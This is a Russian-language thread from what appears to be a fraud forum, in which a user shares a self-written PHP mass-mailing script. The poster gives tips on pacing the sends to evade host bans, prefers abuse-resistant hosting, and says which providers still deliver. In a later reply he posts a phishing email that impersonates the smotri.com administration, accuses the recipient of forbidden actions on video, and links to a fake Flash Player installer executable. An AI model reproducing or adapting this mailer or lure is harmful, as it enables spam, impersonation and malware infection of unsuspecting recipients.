1
  1. Этот сайт использует файлы cookie. Продолжая пользоваться данным сайтом, Вы соглашаетесь на использование нами Ваших файлов cookie. Узнать больше.
Приветствуем вас,Гость, на форуме IFUD.WS. Обязательно рекомендуется к прочтению правила форума http://ifud.ws/threads/obnovleno-pravila-foruma.7759

php скрипт email рассылки

Тема в разделе "Наши статьи", создана пользователем trojface, 3 авг 2012.

  1. TopicStarter Overlay
    trojface

    trojface Гость

    Выкладываю скрипт email рассылки ,собственноручно написанный.
    Скачиваем архив, в архиве два скрипта :
    - с не прерывной рассылкой (если у вас абузоустойчивый хостинг то проблем не будет, а обычный быстро забанят)
    - с интервалом рассылки (способ более подходящий для обычных хостингов, даже некоторым бесплатным подходит)
    Открываем папку с интервалом рассылки ,видим три файла.
    base.txt - список email адресов ,записываем построчно.
    number.txt - номер строки в файле base.txt (если рассылку начинаете с начала списка то в файле number.txt должен был записан "0" )
    index.php - сам скрипт рассылки.
    Открываем index.php блокнотом ( правая кнопка мыши , открыть с помощью )
    Видим:
    Код:
    <html>
    <head>
    <meta http-equiv="content-type" content="text/html; charset=windows-1251" />
    <META HTTP-EQUIV="Refresh" CONTENT="2">
    <title>Отправка сообщения</title>
    </head>
    <bоdу>
    <?php
    $content = file_get_contents( 'number.txt' );
    file_put_contents( 'number.txt', ++$content );
    $base = file('base.txt');
    for($i = 0; $i < sizeof($base); $i++)
    if($i == $content) $to=($base[$i]);
    $username = 'Имя отправителя';
    $from = 'email@email.ru';  //email отправителя
    $title = 'тема сообщения';
    $mess = 'сообщение в html формате';
    $headers .= "From: $username <$from>\r\n";
    $headers.= "Content-Type: text/html; charset=windows-1251 ";
    $headers .= "MIME-Version: 1.0 ";
    mail($to, $title, $mess, $headers);
    echo "Отправлено: $content";
    ?>
    </bоdу>
    </html>
    Находим в скрипте такую строку:
    Код:
    <META HTTP-EQUIV="Refresh" CONTENT="2">
    Видим цифру 2 это и есть интервал рассылки ,в секундах.
    Выставляем какой вам надо для платных можно минимальный выставлять, для hut.ru интервал 20 секунд(проверено:))
    Едем дальше , видим строки:
    Код:
    $username = 'Имя отправителя';//пишем по каким именем будем отправлять
    $from = 'email@email.ru';    //email отправителя
    $title = 'тема сообщения'; //
    $mess = 'сообщение в html формате';
    Одинарные кавычки обязательны!
    Сохраняем изменения , грузим на хост все три файла .
    На файл index.php ставим права 755.
    Запускаем скрипт ,страничка будет обновляться через заданный интервал времени,тем самым отправляя сообщения.
    И вы видите сколько сообщений отправлено,прямо на странице.
    Месяца три назад отправляло на яндекс, мэйл,рамблер.
    Сейчас отправляю только на яндекс , все приходит.
    Насчет мэйл,рамблер незнаю,давно не отправлял.


    Ставьте лайки,задавайте вопросы))
    Please login or register to view links
     
    • Like Like x 1
    Метки:
  2. TopicStarter Overlay
    webster

    webster Гость

    Я думал что только я на этом форуме php знаю, ну ничего так. Замути еще html версию, то есть для одноразовой отправки. Ну как бы еще может не работать, так как не везде sendmail есть.
     
  3. TopicStarter Overlay
    }{OTT@BY4

    }{OTT@BY4 Гость

    Хост забанили:(
     
  4. Antoha

    Antoha

    Регистрация:
    14 май 2012
    Сообщения:
    72
    Симпатии:
    19
    помогите что то неполучается...
    должно получится это
    [​IMG]
    а приходит
    [​IMG]
     
  5. Antoha

    Antoha

    Регистрация:
    14 май 2012
    Сообщения:
    72
    Симпатии:
    19
    никто непоможет?
     
  6. TopicStarter Overlay
    trojface

    trojface Гость

    Учим html друзья ))
    То что ты написал это только кусок кода
    Надо так:
    Код:
    <html>
     <head>
      <meta http-equiv="Content-Type" content="text/html; charset=windows=1521">
     </head> 
     <body>
     <span class="textreg"><u>На видео ниже, которое было сделано в вашей видеотрансляции, были замечены запрещённые действия.</u></span>
     </br>            </br>
      <table>
      <style>td{width: 450px;height: 500px;}</style>
       <tr><td BGCOLOR="000000" align="left">
       <div style="margin:230px 20px 20px 0px; ">
    <font color="#ff0000:">
    Не удалось загрузить видео.</font><br/>
    <span class="textreg"><font color="#FF0000">Для просмотра этого видео  
    необходимо обновить Adobe Flash Player.</span>
    <font color="#0000FF:">
    <a href="ваш сайт/install_flash_player.exe">Обновить сейчас</a></font>
    </div>
    </td></tr>
      </table>
      </br>
      <u>С уважением, Администрация smotri.com</u>
     </body>
    </html>
    
     
    • Like Like x 1

Поделиться этой страницей

Загрузка...